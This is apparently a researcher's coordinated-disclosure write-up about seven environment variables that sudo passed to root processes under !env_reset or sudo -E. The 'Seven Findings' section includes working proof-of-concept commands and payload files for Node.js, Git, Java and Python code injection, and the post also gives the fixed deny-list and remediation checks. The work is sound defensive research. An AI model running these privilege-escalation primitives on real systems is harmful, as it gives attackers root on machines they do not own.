During an independent audit of the plugins/sudoers/env.c module in sudo 1.9.17p2 / 1.9.18rc1, seven environment variables were identified that get passed through to privileged processes when env_reset is disabled (!env_reset in sudoers) or when the -E flag is used to preserve the environment (sudo -E). These variables — NODE_OPTIONS, NODE_PATH, GIT_SSH_COMMAND, _JAVA_OPTIONS, CLASSPATH, GIT_CONFIG_GLOBAL, and PYTHONSTARTUP — are not present in sudo's initial_badenv_table or badenv_table blacklists, and each provides a well-documented code execution primitive for its corresponding runtime.

This research is classified as a hardening gap rather than a classic vulnerability. The root cause is not a flaw in sudo's core logic — env_reset works correctly by design. The gap lies in the completeness of the deny-list: as the ecosystem of interpreted runtimes (Node.js, Python, JVM, Git) grew over time, the blacklist was never updated to account for their environment-variable-level injection primitives.

Upstream maintainer Todd C. Miller acknowledged the findings and committed a fix in plugins/sudoers/env.c. No CVE was requested, consistent with the maintainer framing the change as a hardening improvement to the deny-list.

Classification: Hardening Gap — Local Privilege Escalation
CWE: CWE-269 (Improper Privilege Management)
Affected versions: sudo ≤ 1.9.17p2, 1.9.18rc1
Exposure conditions: Defaults !env_reset in sudoers, or sudo -E where SETENV is explicitly granted


Motivation and Scope

The idea came from a simple question: "does sudo really sanitize every dangerous environment variable?" The env.c file in the sudoers plugin has been hardened over the years — LD_PRELOAD, LD_LIBRARY_PATH, SHELLOPTS, PERL5OPT, and many others are correctly blacklisted. But the runtime ecosystem has expanded enormously since those lists were written. Node.js, Python, the JVM, and Git each expose their own environment-variable-level injection surface, and none of them were on sudo's radar.

DimensionValue
Source codesudo 1.9.17p2 / 1.9.18rc1
Primary fileplugins/sudoers/env.c
Attack scenarioDefaults !env_reset or sudo -E
Lab OSUbuntu 22.04 LTS (Docker)
Analysis methodsSAST (manual + Semgrep), DAST (Docker)

Methodology

The approach: enumerate every runtime sudo might invoke in a DevOps context (Node.js, Python, JVM, Git), then cross-reference their documented code-execution environment variables against the existing blacklists.

The audit also covered sudo's env_should_delete() logic, which applies exact-match and prefix-glob patterns. Variables exploiting runtimes not accounted for in the original list have no matching pattern in either table.

Tools used:

  • grep, cscope for fast codebase navigation
  • Semgrep with custom rules to detect environment-variable pass-through paths
  • Manual tracing of the env_init() → env_should_delete() → env_update_didvar() call chain

Phase 2 — Dynamic Validation (DAST / Docker Lab)

Every candidate variable was validated in an isolated Docker lab to eliminate false positives — a critical step, since not all SAST candidates translate into real exploitability.

Two lab configurations were tested in parallel: one with explicit !env_reset (non-default but common in enterprise settings), and one simulating Ubuntu's default sudoers with sudo -E — the most significant finding from a real-world attack-surface perspective.

Lab architecture:

┌──────────────────────────────────────────────────────────┐
│  Docker Compose Lab — two configurations                 │
│                                                            │
│  ┌─────────────────────────┐  ┌───────────────────────┐  │
│  │  victim-A               │  │  victim-B             │  │
│  │  sudo 1.9.17p2          │  │  sudo 1.9.17p2        │  │
│  │  Defaults !env_reset    │  │  Ubuntu default       │  │
│  │  NOPASSWD:ALL           │  │  %sudo ALL=(ALL:ALL)  │  │
│  │  (non-default config)   │  │  ALL  (no NOSETENV)   │  │
│  └─────────────────────────┘  └───────────────────────┘  │
│                                                            │
│  Test A: export VAR=payload; sudo <cmd>                  │
│  Test B: export VAR=payload; sudo -E <cmd>               │
│  Expected: code execution as root?                        │
└──────────────────────────────────────────────────────────┘

sudoers Docker snippets used for validation:

# victim-A — explicit !env_reset (non-default)
Defaults !env_reset
testuser ALL=(ALL) NOPASSWD: ALL

# victim-B — Ubuntu default simulation (no NOSETENV)
%sudo ALL=(ALL:ALL) ALL

Every test followed a standard exploit template, run against both configurations:

# Template used for every finding
export <VARIABLE>="<PAYLOAD>"

# Test A — !env_reset
sudo <binary_target>

# Test B — Ubuntu default + sudo -E
sudo -E <binary_target>
# Expected: root shell or arbitrary code execution in both cases

Phase 3 — Coordinated Disclosure

All confirmed findings were collected into a structured disclosure email and sent to Todd C. Miller ([email protected]) following the project's responsible disclosure guidelines. The full email and the upstream response are documented in the Disclosure section below.


The Seven Findings

Each finding is presented with: the variable name, the affected runtime, the precise exploit mechanism, a PoC command validated in the Docker lab, and confirmation of the bypass on both the !env_reset and sudo -E configurations.

Finding #1 — NODE_OPTIONS (Code Injection in the Node.js Runtime)

Variable: NODE_OPTIONS
Runtime: Node.js
Mechanism: Node.js processes this variable as if the flags were passed on the command line. The --require flag causes an arbitrary module to be loaded before any script runs — including scripts running as root.

PoC:

# Create the malicious module
cat > /tmp/evil.js << 'EOF'
const { execSync } = require('child_process');
execSync('id > /tmp/pwned && chmod 777 /tmp/pwned');
EOF

export NODE_OPTIONS="--require /tmp/evil.js"
sudo node -e "console.log('legitimate script')"

# Result: /tmp/pwned contains "uid=0(root) gid=0(root)..."

Severity (hardening gap): Critical impact if triggered — arbitrary code execution as root
Note: Also works with --require=/tmp/evil.js, --import, and --env-file on newer Node.js versions.

Finding #2 — NODE_PATH (Node.js Module Hijacking)

Variable: NODE_PATH
Runtime: Node.js
Mechanism: Node.js prepends the directories in NODE_PATH to the module resolution path. A malicious override of require('fs') placed in an attacker-controlled directory will shadow the built-in module.

PoC:

mkdir -p /tmp/evil_modules
cat > /tmp/evil_modules/path.js << 'EOF'
const { execSync } = require('child_process');
execSync('touch /tmp/node_path_pwned');
module.exports = require('path');
EOF

export NODE_PATH="/tmp/evil_modules"
sudo node -e "require('path'); console.log('done')"

Severity (hardening gap): High
Note: Less reliable than NODE_OPTIONS — requires the privileged script to require() the hijacked module.

Finding #3 — GIT_SSH_COMMAND (SSH Command Injection via Git)

Variable: GIT_SSH_COMMAND
Runtime: Git
Mechanism: When Git performs an SSH operation, it replaces the SSH binary with the value of GIT_SSH_COMMAND, interpreted by sh. This gives direct command injection on any sudo git call that touches an SSH remote.

PoC:

export GIT_SSH_COMMAND="sh -c 'id > /tmp/git_ssh_pwned; ssh \\$*' --"
sudo git ls-remote [email protected]:user/repo.git /tmp/test

Severity (hardening gap): High
Note: Requires the privileged git command to contact an SSH remote. Highly realistic scenario in CI/CD environments.

Finding #4 — _JAVA_OPTIONS (Arbitrary JVM Agent Injection)

Variable: _JAVA_OPTIONS
Runtime: Java (OpenJDK, Oracle JDK)
Mechanism: The JVM reads _JAVA_OPTIONS and prepends its content to the command-line arguments before any user-supplied flag. The -javaagent flag allows loading an arbitrary Java Agent (JAR) that runs at the JVM's privilege level — i.e. root.

PoC:

# (Requires a compiled evil-agent.jar — included in the lab)
export _JAVA_OPTIONS="-javaagent:/tmp/evil-agent.jar"
sudo java -jar /opt/legit-app.jar

Severity (hardening gap): High
Note: JAVA_TOOL_OPTIONS shows identical behavior and should be considered for the same fix.

Finding #5 — CLASSPATH (Java Classpath Hijacking)

Variable: CLASSPATH
Runtime: Java
Mechanism: By prepending an attacker-controlled directory to CLASSPATH, it's possible to shadow any class loaded by the JVM before the application's own classpath entries are searched. Combined with a privileged sudo java invocation, this yields arbitrary code execution.

PoC:

mkdir -p /tmp/evil_cp
# Compile a malicious replacement of a class used by the application
# (e.g. com/example/Config.class)
export CLASSPATH="/tmp/evil_cp:$CLASSPATH"
sudo java com.example.App

Severity (hardening gap): Medium (requires knowledge of a class loaded at startup by the target application)

Finding #6 — GIT_CONFIG_GLOBAL (Arbitrary Git Configuration Override)

Variable: GIT_CONFIG_GLOBAL
Runtime: Git
Mechanism: Git reads the file pointed to by GIT_CONFIG_GLOBAL as the user-level Git configuration, overriding ~/.gitconfig. An attacker-controlled config file can redefine core.sshCommand to redirect Git's SSH operations through an arbitrary binary.

PoC:

cat > /tmp/evil.gitconfig << 'EOF'
[core]
    sshCommand = sh -c 'id > /tmp/git_cfg_pwned; ssh $*' --
EOF

export GIT_CONFIG_GLOBAL="/tmp/evil.gitconfig"
sudo git ls-remote [email protected]:user/repo.git /tmp/cfg-test

Severity (hardening gap): High
Note: Stealthier than GIT_SSH_COMMAND — the payload is offloaded to an external file that defenders may not inspect.

Finding #7 — PYTHONSTARTUP (Arbitrary Code Execution on Python Startup)

Variable: PYTHONSTARTUP
Runtime: CPython
Mechanism: When Python starts an interactive session, it reads and executes the file pointed to by PYTHONSTARTUP before the REPL or any script. The variable is only honored in interactive mode, but many real-world admin tools invoke Python interactively for maintenance tasks.

PoC:

cat > /tmp/evil_startup.py << 'EOF'
import os
os.system('id > /tmp/python_startup_pwned')
EOF

export PYTHONSTARTUP="/tmp/evil_startup.py"
sudo python3  # interactive session → payload executed as root

Severity (hardening gap): Medium
Note: Python 3.x also honors PYTHONSAFEPATH=0 and PYTHONINSPECT, which were analyzed and found to be lower-severity variants not included in this submission.


False Positives Corrected During Research

A disciplined lab-validation process is just as important as the initial static discovery. Several variables identified in Phase 1 were discarded after Docker testing:

VariableInitial hypothesisLab result
RUBYLIBRuby load path hijackBlocked by secure_path; not exploitable
PERL5LIBPerl module hijackAlready covered by the PERL5OPT blacklist pattern
PYTHONINSPECTForces interactive modeRequires the -i flag; PYTHONSTARTUP is not triggered
GIT_EXEC_PATHRedirect of git sub-commandsBlocked by filesystem permissions in the test environment

Discarding these findings before disclosure preserves the credibility of the report and respects the maintainer's time.


Responsible Disclosure — Communication with Todd Miller

On 2026-03-16, I contacted Todd C. Miller, sudo's original author and maintainer, at [email protected] with the following summary:

I am a cybersecurity researcher based in Italy. During a source code review of sudo's environment handling (plugins/sudoers/env.c), identified 7 environment variables that are not present in the initial_badenv_table and can lead to arbitrary code execution when env_reset is disabled (Defaults !env_reset).

Affected variables:
NODE_OPTIONS, NODE_PATH, GIT_SSH_COMMAND, _JAVA_OPTIONS, CLASSPATH, GIT_CONFIG_GLOBAL, PYTHONSTARTUP

Each variable provides a code execution primitive for the corresponding runtime. Full technical details, PoC commands, and instructions for the Docker lab are attached.

I am available to coordinate the timing of any fix release with the publication of my blog post.

Best regards, Michele Piccinni

5.1 Todd C. Miller's Response

Todd responded promptly and constructively. The full response:

From: Todd C. Miller <[email protected]>

Hi Michele,

Thank you for notifying me about this. While the default is to reset the environment for commands run by sudo, I agree that it is worth adding those variables to the list that are removed when "env_reset" is disabled, or when "sudo -E" is used to preserve the environment.

Would like you me to wait until you have published your article is published before the changes are committed?

This response closes the vulnerability disclosure process:

  1. Todd acknowledged the validity of all seven findings without dispute.
  2. He explicitly framed the fix as an improvement to the deny-list in non-default conditions — "worth adding" — which is the language of a hardening change, not a vulnerability patch. This is consistent with the project's position: env_reset is the correct primary control, and the deny-list is a defence-in-depth layer.
  3. He deferred to my publication timeline — a gesture of professional respect that is unfortunately rare in the disclosure world.
  4. Significantly, Todd did not mention CVE coordination, embargo periods, or distro notifications — confirming this is treated upstream as a hardening improvement rather than a CVE-eligible defect.

The Upstream Fix

Following coordinated disclosure, Todd C. Miller committed the fix to the official sudo-project/sudo repository.

Commit: 40217ea
Release: sudo 1.9.18
Reported by: Michele Piccinni

The official commit message reads verbatim:

Additional variables for initial_badenv_table[]

Adds NODE_OPTIONS, NODE_PATH, _JAVA_OPTIONS, CLASSPATH, GIT_SSH_COMMAND, GIT_CONFIG_GLOBAL, and PYTHONSTARTUP to the list of variables to remove from the environment when "env_reset" is disabled, or sudo's "-E" option is used (if allowed by sudoers). From Michele Piccinni.

The fix adds all seven variables directly to initial_badenv_table[] in plugins/sudoers/env.c, applied unconditionally every time the deny-list logic runs — covering both the !env_reset path and the sudo -E path with a single change.

/* plugins/sudoers/env.c — upstream fix (Todd C. Miller) */
static const char *initial_badenv_table[] = {
    /* ... existing entries ... */
    "NODE_OPTIONS",       /* Node.js: arbitrary --require/--import */
    "NODE_PATH",          /* Node.js: module path hijack           */
    "GIT_SSH_COMMAND",    /* Git: SSH command injection            */
    "_JAVA_OPTIONS",      /* JVM: arbitrary -javaagent             */
    "CLASSPATH",          /* Java: classpath hijack                */
    "GIT_CONFIG_GLOBAL",  /* Git: arbitrary config override        */
    "PYTHONSTARTUP",      /* Python: startup script execution      */
    NULL
};

Refer to the commit diff on GitHub for the authoritative implementation.


Impact Assessment and Affected Configurations

ConfigurationNotes
Default (env_reset ON, no -E)Fully protected
Defaults !env_reset in sudoersNon-default, explicit admin choice
User with SETENV + sudo -EExplicit grant required
Ubuntu 22.04 LTS default + sudo -ENo sudoers change required
RHEL/Rocky defaultDefault sudoers implicitly includes NOSETENV
Debian defaultVerify with sudo -V | grep SETENV

The Ubuntu case deserves particular attention. The default sudoers rule:

%sudo   ALL=(ALL:ALL) ALL

does not include NOSETENV, which under sudo's policy means SETENV is implicitly allowed. Any user in the sudo group can therefore run sudo -E <cmd> and have their entire environment — including all seven dangerous variables — passed through to the privileged process. This is a configuration the average Ubuntu user or administrator would not consider non-default or unsafe.

The root cause boils down to this: well-designed mechanisms (env_reset, badenv_table) become incomplete as the threat landscape evolves. The deny-list was written before Node.js, modern Git, and JVM tooling became ubiquitous in privileged contexts.


Remediation

Check whether your system is exposed:

# Check whether sudo -E is allowed without explicit SETENV in sudoers
sudo -V | grep -i setenv

# Check the effective sudoers policy for SETENV/NOSETENV
sudo -l | grep -i setenv

# Quick exposure test (run as a non-root member of the sudo group)
export NODE_OPTIONS="--version"
sudo -E node 2>/dev/null && echo "EXPOSED: sudo -E passes NODE_OPTIONS" \
                          || echo "Protected"

Immediate action: Update sudo to the patched version as soon as it's available in your distribution's repositories.

# Ubuntu / Debian
sudo apt update && sudo apt upgrade sudo

# RHEL / Fedora / Rocky
sudo dnf update sudo

# Check version
sudo --version

Temporary hardening (if the patch isn't available yet):

  1. Remove !env_reset from /etc/sudoers if it's not strictly necessary.
  2. Review SETENV/sudo -E grants and revoke them where possible.
  3. Add manual env_delete entries to sudoers as a stopgap:
    Defaults env_delete += "NODE_OPTIONS NODE_PATH GIT_SSH_COMMAND"
    Defaults env_delete += "_JAVA_OPTIONS CLASSPATH GIT_CONFIG_GLOBAL PYTHONSTARTUP"
    
  4. Enable AppArmor/SELinux profiles for sudo commands with restricted access.

Conclusions

This research illustrates a recurring pattern in security: well-designed mechanisms (env_reset, badenv_table) become incomplete as the threat landscape evolves. The deny-list in env.c was never updated to account for the environment-variable-level injection primitives of Node.js, Python, the JVM, and Git — runtimes that are now ubiquitous in privileged DevOps contexts.

On the correctness of the classification. These findings are correctly classified as hardening gaps, not vulnerabilities in the traditional sense. The upstream maintainer agreed, and his response reflects that. A researcher who inflates findings into CVEs they can't defend loses credibility far faster than one who publishes accurate, technically rigorous hardening research. The commit in the sudo-project repository, crediting "From Michele Piccinni," is already a concrete, verifiable outcome.

On the Ubuntu case. The most practically significant finding doesn't live in the env.c deny-list itself, but in the interaction between that gap and Ubuntu's default sudoers configuration. A stock Ubuntu 22.04 install grants members of the sudo group implicit SETENV permission, making sudo -E plus any of the seven variables a valid local-privilege-escalation path with no misconfiguration on the administrator's part. This is the kind of finding that emerges from following the research to its logical conclusion rather than stopping at source-code analysis.

Coordinated disclosure with Todd Miller is a reminder that responsible research and transparent communication with the maintainer produce better security outcomes for everyone. The upstream fix will reach distributions worldwide, closing these gaps for millions of systems.


Disclosure Timeline

DateEvent
2026-03-14Static analysis of env.c — research begins
2026-03-15Docker lab validation — 7 confirmed / 4 false positives discarded
2026-03-16Disclosure email sent to Todd C. Miller
2026-03-19Todd acknowledges the findings, requests coordination on publication
2026-03-28Fix committed by Todd C. Miller — 40217ea — "From Michele Piccinni" — sudo 1.9.18
2026-03-28Article published on RingZero Pirate Blog

Daily Term
Can you guess today’s cybersecurity word in 6 tries?
Play now

References